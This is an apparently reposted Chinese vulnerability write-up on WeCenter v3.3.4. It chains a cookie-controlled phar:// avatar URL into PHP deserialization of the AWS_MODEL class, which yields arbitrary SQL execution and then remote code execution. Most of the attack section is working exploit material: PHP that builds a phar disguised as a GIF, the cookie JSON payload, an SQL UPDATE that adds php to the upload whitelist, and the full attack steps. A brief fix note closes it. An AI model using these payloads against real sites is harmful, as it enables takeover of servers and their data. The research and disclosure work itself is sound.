某Center v3.3.4 从前台反序列化任意SQL语句执行到前台RCE
2020-01-11 10:54:33 Author: xz.aliyun.com(查看原文) 阅读量:164 收藏

前言

WeCenter 是一个类似知乎以问答为基础的完全开源的社交网络建站程序,基于 PHP+MYSQL 应用架构,它集合了问答,digg,wiki 等多个程序的优点,帮助用户轻松搭建专业的知识库和在线问答社区。

限制:

  • 开启注册功能或拥有前台账号
  • 前台账号拥有上传文件权限

以上两个条件默认安装都为开启状态

分析

反序列化漏洞点

  • 定位到漏洞文件./system/aws_model.inc.php

    <?php
    class AWS_MODEL {
        . . .
        private $_shutdown_query = array(); 
        . . .
    
        public function master() {
            if ($this->_current_db == 'master') {
                return $this;
            }
            if (AWS_APP::config()->get('system')->debug) {
                $start_time = microtime(TRUE);
            }
            AWS_APP::db('master');
            if (AWS_APP::config()->get('system')->debug) {
                AWS_APP::debug_log('database', (microtime(TRUE) - $start_time) , 'Master DB Seleted');
            }
            return $this;
        }
        . . .
        public function __destruct() {
            $this->master();
            foreach ($this->_shutdown_query AS $key => $query){
                $this->query($query);
            }
        }
    }
    

    可以看到漏洞文件的析构函数__destruct()遍历了$this->_shutdown_query变量,然后带入了$this->query()函数,跟一下

    public function query($sql, $limit = null, $offset = null, $where = null){
        $this->slave();
    
        if (!$sql){
            throw new Exception('Query was empty.');
        }
        if ($where){
            $sql .= ' WHERE ' . $where;
        }
        if ($limit){
            $sql .= ' LIMIT ' . $limit;
        }
        if ($offset){
            $sql .= ' OFFSET ' . $offset;
        }
        if (AWS_APP::config()->get('system')->debug){
            $start_time = microtime(TRUE);
        }
    
        try {
            $result = $this->db()->query($sql);
        } catch (Exception $e) {
            show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());
        }
    
        if (AWS_APP::config()->get('system')->debug){
            AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);
        }
    
        return $result;
    }
    

    没有经过任何处理直接带入了查询函数中,只要$this->_shutdown_query可控那么就可以执行任意SQL语句了。
    由于SQL语句的执行发生在析构函数__destruct()中,并且_shutdown_query没有被静态关键词static修饰。于是很自然可以想到利用反序列化的方式,重置$this->_shutdown_query的值。

    构造"构造exp"的exp:

    <?php
    class AWS_MODEL{
        private $_shutdown_query = array();
    
        public function __construct(){
            $this->_shutdown_query['test'] = 'SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)';
        }
    }
    echo base64_encode(serialize(new AWS_MODEL));
    ?>
    

    由于$_shutdown_queryprivate修饰符修饰了,所以在进行序列化后会出现两个空字节用于表示该成员属性被private修饰

    由于还没有反序列化触发点,所以先在一个加载完所有类和各种自动加载机制完成的文件中手动写上一个触发点用于验证。如system/system.php,正好也是程序的入口文件。

    可以看到反序列化后的AWS_MODEL类执行了上面的SQL语句

反序列化触发点

想要触发反序列化很简单,主要的思路是:

  • unserialize($v)$v可控的情况下 可以进行反序列化

于是全局搜索/\bunserialize\((.*?)\$(.*?)\)/ 寻找可控的变量。
结果找了一整个上午都没找到,跟函数跟到头都快裂了。

在快要自闭的时候想起了打CTF的时候经常遇到的利用Phar反序列化
思路也不难,大概就是:

  • 在某一部分文件操作函数的参数可控的情况下 传入phar伪协议解析的文件是 php底层会将phar文件的meta-data部分进行一次反序列化
    php底层处理代码:

    int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len) /* {{{ */
    {
    php_unserialize_data_t var_hash;
    
    if (zip_metadata_len) {
        const unsigned char *p;
        unsigned char *p_buff = (unsigned char *)estrndup(*buffer, zip_metadata_len);
        p = p_buff;
        ZVAL_NULL(metadata);
        PHP_VAR_UNSERIALIZE_INIT(var_hash);
    
        if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
            efree(p_buff);
            PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
            zval_ptr_dtor(metadata);
            ZVAL_UNDEF(metadata);
            return FAILURE;
        }
        efree(p_buff);
        PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
    

    可以看到metadata被传入了反序列化函数php_var_unserialize

  • 利用的条件是:
    受影响函数($v)$v可控的情况下 传入phar伪协议解析的文件即可完成反序列化
    受影响函数列表:

    利用正则(fileatime|filectime|file_exists|file_get_contents|file_put_contents|file|filegroup|fopen|fileinode|filemtime|fileowner|fileperms|is_dir|is_executable|is_file|is_link|is_readable|is_writable|is_writeable|parse_ini_file|copy|unlink|stat|readfile)\((.*?)\$(.*?)\)全局搜索,寻找文件操作函数可控参数的点。

    又是一顿翻翻翻过后,终于找到了一个十分复杂的触发点。

  • models/account.php

    <?php
    public function associate_remote_avatar($uid, $headimgurl){
        if (!$headimgurl){
            return false;
        }
    
        if (!$user_info = $this->get_user_info_by_uid($uid)){
            return false;
        }
    
        if ($user_info['avatar_file']){
            return false;
        }
    
        if (!$avatar_stream = file_get_contents($headimgurl)){
            return false;
        }
        ...
    

    associate_remote_avatar函数将传进来的$headimgurl没有经过任何过滤直接传入了文件操作函数file_get_contents中。也就是说如果$headimgurl可控的话,这个地方同时也会是一个SSRF漏洞(无回显)。

    全局搜索了一下->associate_remote_avatar(

  • app/account/ajax.php

    public function synch_img_action(){
        $users=$this->model('account')->fetch_all('users','is_del=0 and ISNULL(avatar_file)','',1000);
        foreach ($users as $key => $value) {
            $wxuser=$this->model('account')->fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL');
            if($wxuser){
                $this->model('account')->associate_remote_avatar($wxuser['uid'],$wxuser['headimgurl']);
            }
        }
    }
    

    synch_img_action函数将没有头像并且存在headimgurl字段的用户从数据库中取出来,然后将从数据库中取到的headimgurl字段传入associate_remote_avatar函数。

    问题的关键就在寻找对users_weixin表的headimgurl字段进行操作的的函数了

    通过搜索users_weixin找到了对这个表进行插入操作的函数

  • models/openid/weixin/weixin.php

    <?php
    public function bind_account($access_user, $access_token, $uid, $is_ajax = false){
        if (! $access_user['nickname']){
            if ($is_ajax){
                H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录')));
            }else{
                H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录'));
            }
        }
    
        if ($openid_info = $this->get_user_info_by_uid($uid)){
            if ($openid_info['opendid'] != $access_user['openid']) {
                if ($is_ajax){
                    H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定')));
                }else{
                    H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定'));
                }
            }
            return true;
        }
    
        $this->insert('users_weixin', array(
            'uid' => intval($uid),
            'openid' => $access_token['openid'],
            'expires_in' => (time() + $access_token['expires_in']),
            'access_token' => $access_token['access_token'],
            'refresh_token' => $access_token['refresh_token'],
            'scope' => $access_token['scope'],
            'headimgurl' => $access_user['headimgurl'],
            'nickname' => $access_user['nickname'],
            'sex' => $access_user['sex'],
            'province' => $access_user['province'],
            'city' => $access_user['city'],
            'country' => $access_user['country'],
            'add_time' => time()
        ));
        return true;
    }
    

    可以很明显看到这个进行了insert操作,且headimgurl字段也是由函数接收的值来决定。因此只要找到调用了这个函数,且函数的参数可控,那么就可以执行任意SQL代码了。

    全局搜索bind_account

  • app/m/weixin.php

    <?php
    public function binding_action(){
        if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect']){
                $WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true);
        }
    
        if ($WXConnect['access_token']['openid']){
            $this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id);
    
            HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true);
    
            if ($_GET['redirect']){
                HTTP::redirect(base64_decode($_GET['redirect']));
            }else{
                H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/');
            }
        }else{
            H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']);
        }
    }
    

    可以看到$WXConnect的值完全是从COOKIE中获取经过反序列化后得来的,完全可控。所以只需要按照代码的要求构造好攻击的Payload就可以了。至于COOKIE的前缀G_COOKIE_PREFIX,登陆后抓个包就可以看到了。

    构造$WXConnect

    <?php
        $arr = array();
        $arr['access_token'] = array('openid' => '1');
        $arr['access_user'] = array();
        $arr['access_user']['openid'] = 1;
        $arr['access_user']['nickname'] = 'naiquan';
        $arr['access_user']['headimgurl'] = 'phar://file_path';
        echo json_encode($arr);
    ?>
    

所以,完整的攻击流程应该是

  1. 注册账号
  2. 生成并上传一个phar文件(注意不要在头像处上传)
  3. COOKIE中设置对应的WXConnect为上面Payload的结果
  4. 访问app/m/weixin.php下的binding_action
  5. 访问app/account/ajax.php下的synch_img_action

漏洞演示

  1. 注册账号
    略。。

  2. 生成Phar文件

    <?php
    class AWS_MODEL{
            private $_shutdown_query = array();
    
            public function __construct(){
                $this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
            }
    }
    $a = new AWS_MODEL;
    $phar = new Phar("2.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt","123");
    $phar->stopBuffering();
    rename("2.phar","shell.gif");
    ?>
    

    运行后将生成的shell.gif通过编辑器的上传功能上传到服务器上

    记录下上传后的目录

  1. 生成并设置COOKIE中的WXConnect

    <?php
        $arr = array();
        $arr['access_token'] = array('openid' => '1');
        $arr['access_user'] = array();
        $arr['access_user']['openid'] = 1;
        $arr['access_user']['nickname'] = 'naiquan';
        $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
        echo json_encode($arr);
    ?>
    

    headimgurl的值设置成phar伪协议解析的恶意文件后运行,将结果放入Cookie中,前缀可参考Cookie中的其他参数。

  2. 访问app/m/weixin.php下的binding_action

    提示绑定微信成功后进行下一步

  3. 访问app/account/ajax.php下的synch_img_action

    任意SQL语句执行成功

    CTF诚不欺我!!!

扩大危害

怎么能止步于任意SQL执行呢,当然得要RCE啊!

打开后台我们可以看到设置后缀名白名单的地方。

这时候把mysql的general_log开起来,监控一下修改这个白名单会执行什么SQL语句。

添加一个naiquantest的后缀方便我们从log文件中匹配出关键的SQL语句

可以看到监控的SQL语句为这条,将后缀名字符串序列化后UPDATE到数据库中
那么就可以通过一个修改后缀名白名单的方式,上传php文件进行RCE了。
EXP:

```php
<?php
class AWS_MODEL{
    private $_shutdown_query = array();

    public function __construct(){
        $file_exts = "jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";
        $this->_shutdown_query['test'] = "UPDATE `aws_system_setting` SET `value` = '".serialize($file_exts)."' WHERE (`varname` = 'allowed_upload_types')";
    }
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
rename("2.phar","shell.gif");
```

老套路上传执行后:

在后台查看

成功添加了php后缀
返回前台在编辑器中上传php文件

RCE成功!!!

漏洞修复

删除app/account/ajax.php下名为synch_imgaction即可,删除路由或者函数都可以。


文章来源: http://xz.aliyun.com/t/7077
如有侵权请联系:admin#unsafe.sh